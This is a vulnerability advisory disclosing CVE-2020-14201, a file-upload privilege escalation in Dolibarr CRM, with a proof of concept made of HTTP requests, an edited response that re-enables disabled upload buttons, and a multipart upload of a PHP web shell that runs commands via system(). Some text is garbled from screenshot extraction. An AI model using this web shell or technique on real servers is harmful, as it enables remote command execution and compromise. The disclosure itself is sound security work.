


Security Research & Advisories

Privilege Escalation in Dolibarr CRM

Vendor	 (https://www.dolibarr.org/)
Product	Dolibarr
Affected Version(s)	11.0.4 and probably prior
Tested Version(s)	11.0.4 and 5.0.3
Vendor Notification	June 12, 2020
Advisory Publication	June 12, 2020 [without technical details]
Vendor Fix	Version 11.0.5
Public Disclosure	August 21, 2020
Latest Modification	August 21, 2020
CVE Identifier(s)	CVE-2020-14201 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14201)
Product Description	Dolibarr ERP/CRM is an open source, free software package for small and medium companies, foundations or freelancers. It includes different features for enterprise resource planning (ERP) and customer relationship management (CRM) but also other features for different activities.
Credits	Krzysztof Bednarski, Senior Cyber Security Consultant & Penetration Tester @wizlynx group

Privilege Escalation			
Severity: Medium ⓘ	CVSS Score: 4.3	CWE-ID: CWE-269 (https://cwe.mitre.org/data/definitions/269.html)	Status: Open
Vulnerability Description			
The application Dolibarr CRM is affected by a privilege escalation in version 11.0.4 and prior versions (confirmed on 11.0.4 and 5.0.3). These vulnerabilities could allow remote authenticated attackers to upload arbitrary files.			
CVSS Base Score			
Attack Vector	Network	Scope	Unchanged
Attack Complexity	Low	Confidentiality Impact	None
Privileges Required	Low	Integrity Impact	Low
User Interaction	Not Required	Availability Impact	None

Dolibarr is affected by a privilege escalation vulnerability, allowing for unrestricted upload of files. Any user with Read access to any element of the application that allows the storage of files (Third Party, Proposal, etc.) is able to upload arbitrary files to that element.

Example Request:

```
GET /dolibarr/societe/document.php?socid=1 HTTP/1.1
Host: XXXXX:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
```

The following screenshot shows the original response code:

RequestOriginal responseEdited response

RawHeadersHexRender

189190191192193194195196197198

<input type="hidden" name="dolibarr_id" value="1">
<table width="100%" class="nobordernopadding">
<tr>
<td class="valignmiddle nowrap">
<input type="hidden" name="max_file_size" value="2097152">
<input class="flat minwidth400" type="file" name="userfile[]" multiple disabled accept="">
<input type="submit" class="button reposition" name="sendit" value="Upload" disabled>
</td>
</tr>
</table>
</form>

<!-- End form attach new file -->

<!-- Start form link new url -->

<table class="centpercent notopnoleftnorigt table-fiche-title ">
<tr>
<td class="nobordernopadding valignmiddle col-title">
<div class="titre inline-block">
Link a new file/document
</div>
</td>
</tr>
</table>
<form name="formuserfile_link" id="formuserfile_link" action="/dolibarr/societe/document.php?id=1" method="POST">
<input type="hidden" name="token" value="\$2y\$10\$vAM5N6BUEcTEjxUUX/jTO38LX4Cj5rX3mtnhToO0slyTsbdRLzz2">
<input type="hidden" id="formuserfile_link_section_dir" name="link_section_dir" value="">
<input type="hidden" id="formuserfile_link_section_id" name="link_section_id" value="0">
<div class="valignmiddle">
<div class="inline-block" style="padding-right: 10px;">
<input type="text" name="link" class="flat minwidth400imp" id="link" placeholder="URL to link">
</div>
<div class="inline-block" style="padding-right: 10px;">
<input type="text" class="flat" name="label" id="label" placeholder="Label">
<input type="hidden" name="objecttype" value="societe">
<input type="hidden" name="objectid" value="1">
</div>
<div class="inline-block" style="padding-right: 10px;">
<input type="submit" class="button" name="linkit" value="Link" disabled>
</div>
</div>
</form>
</div>

The following screenshot shows the original response:

HomeThird-partiesCommerceTools

Search

My Dashboard

Setup

Admin Tools

Users & Groups

Third-partyCardContacts/AddressesProspectRelated ItemsPayment informationNotesLinked filesEvents

Dolibarr_Test

Customer CodeCU2006-00001

Number of attached files/documents0

Total size of attached files/documents0 b

Attach a new file/document

Choose FilesNo file chosen

UPLOAD

Link a new file/document

URL to linkLabel

LINK

The response was then intercepted and edited:

The following screenshot shows the edited response code:

Request

Original response

Edited response

wizlynx group

f (https://www.facebook.com/pages/wizlynx-group/166294663422930) t (https://twitter.com/wizlynxgroup) in (https://www.linkedin.com/company/wizlynx-group)

```
<table border="1" id="formattachnewfile" class="noborder nopadding">
<tr>
<td colspan="2" style="text-align:center" class="flat minwidth400">
<input type="hidden" name="max_file_size" value="2097152">
<input type="hidden" name="multiple" value="">
<input type="submit" class="button reposition" name="sendit" value="Upload" enabled="">
</td>
</tr>
</table>
</form>
<br>
<!-- End form attach new file -->

<!-- Start form link new url -->

<table class="centpercent notopmoleftnorigt table-fiche-title ">
<tr>
<td class="nobordernopadding valignmiddle col-title">
<div class="titre inline-block">
Link a new file/document
</div>
</td>
</tr>
</table>
<form name="formuserfile_link" id="formuserfile_link" action="/dolibarr/societe/document.php?id=1" method="POST">
<input type="hidden" name="token" value="$2y$10$vAMSN6BUeEcTEjxUUX/jTO3BLX4Cj5rX3mtnhToOslYTsbdLrz2">
<input type="hidden" id="formuserfile_link_section_dir" name="link_section_dir" value="">
<input type="hidden" id="formuserfile_link_section_id" name="link_section_id" value="0">
<div class="valignmiddle">
<div class="inline-block" style="padding-right: 10px;">
<input type="text" name="link" class="flat minwidth400imp" id="link" placeholder="URL to link">
</div>
<div class="inline-block" style="padding-right: 10px;">
<input type="text" class="flat" name="label" id="label" placeholder="Label">
<input type="hidden" name="objectype" value="societe">
<input type="hidden" name="objectid" value="1">
</div>
<div class="inline-block" style="padding-right: 10px;">
<input type="submit" class="button" name="linkit" value="Link" enabled="">
</div>
```

The following screenshot shows the edited response:

Request |
 Original response |
 Edited response

Raw |
 Headers |
 Hex |
 Render

Home |
 Third-parties |
 Commerce |
 Tools

Third-party
Card
Contacts/Addresses 1
Prospect
Related items
Payment information
Notes
Linked files
Events

Dolibarr_Test

Customer Code	CU2006-00001
Number of attached files/documents	0
Total size of attached files/documents	0 b

Attach a new file/document

Choose Files

No file chosen

UPLOAD

Link a new file/document

Label

LINK

This enabled the upload buttons and allowed the user to upload a file:

Request:

```
POST /dolibarr/societe/document.php?id=1 HTTP/1.1
Host: XXXXX:9999

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----5985013784170980668253576010
Content-Length: 1450
Origin: http://XXXXX:9999
DNT: 1
Connection: close
Referer: http://XXXXX:9999/dolibarr/societe/document.php?socid=1
Cookie: DOLSESSID_620db380f9c409549b47dfbf632cd5af=2bmei5he3te4bj1vt0s7rf11e6
Upgrade-Insecure-Requests: 1

-----5985013784170980668253576010
```

wizlvpnxgroup

<https://www.facebook.com/pages/wizlynx-group/166294663422930> <https://twitter.com/wizlynxgroup> <https://www.linkedin.com/company/wizlynx-group> <https://www.xing.com/companies/wizlynxag>

```
0
-----5985013784170980668253576010
Content-Disposition: form-data; name="sortfield"
```

-----5985013784170980668253576010
Content-Disposition: form-data; name="max_file_size"

```
2097152
-----5985013784170980668253576010
Content-Disposition: form-data; name="userfile[]"; filename="shell.php"
Content-Type: application/octet-stream
```

```
<html>
<body>

<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>

<pre>
<?php
if(isset($_GET['cmd']))
{
    system($_GET['cmd']);
}
?>
</pre>
</body>
<script document.getElementById("cmd").focus();</script>
</html>
```

-----5985013784170980668253576010
Content-Disposition: form-data; name="sendit"

Upload
-----5985013784170980668253576010-----

This resulted in the file being uploaded:

Warning: fopen(C:\dolibarr\dolibarr_documents\societe\i\shell.php): failed to open stream: No such file or directory in C:\dolibarr\www\dolibarr\htdocs\core\lib\files.lib.php on line 1741

File(s) uploaded successfully

https://www.facebook.com/pages/wizlynx-group/166294663422930

https://twitter.com/wizlynxgroup

https://www.linkedin.com/company/wizlynx-group

https://www.instagram.com/companies/wizlynxag

Search

My Dashboard

Setup

Admin Tools

Users & Groups

Third-party

Card

Contacts/Addresses

Prospect

Related items

Payment information

Notes

Linked files

Events

Dolibarr_Test

Back to list

Open

Customer Code

CU2006-00001

Number of attached files/documents

1

Total size of attached files/documents

348 b

Attach a new file/document

Browse...

No files selected

UPLOAD

Link a new file/document

URL to link

Label

LINK

Attached files and documents

Documents	Size	Date
shell.php.noexe	348 b	12/06/2020 11:51

Linked files and documents

Links	Date
No registered links	



wizlynx has not only built a solid foundation of information security, quality and project management know-how, but our associates are known for their ability to apply the right soft skills at the right time to best serve our customers. We make it a point to understand the infrastructure, needs and challenges of our customers, which enables us to deliver fast, effective and high quality results. It is our belief that this level of understanding can only be obtained with the most capable and experienced resources. Reach out to our associates at any time through our interactive competence centers to draw upon our knowledge of processes, procedures, guidelines and tools. You'll be able to see, firsthand, the value our team will add to your organization.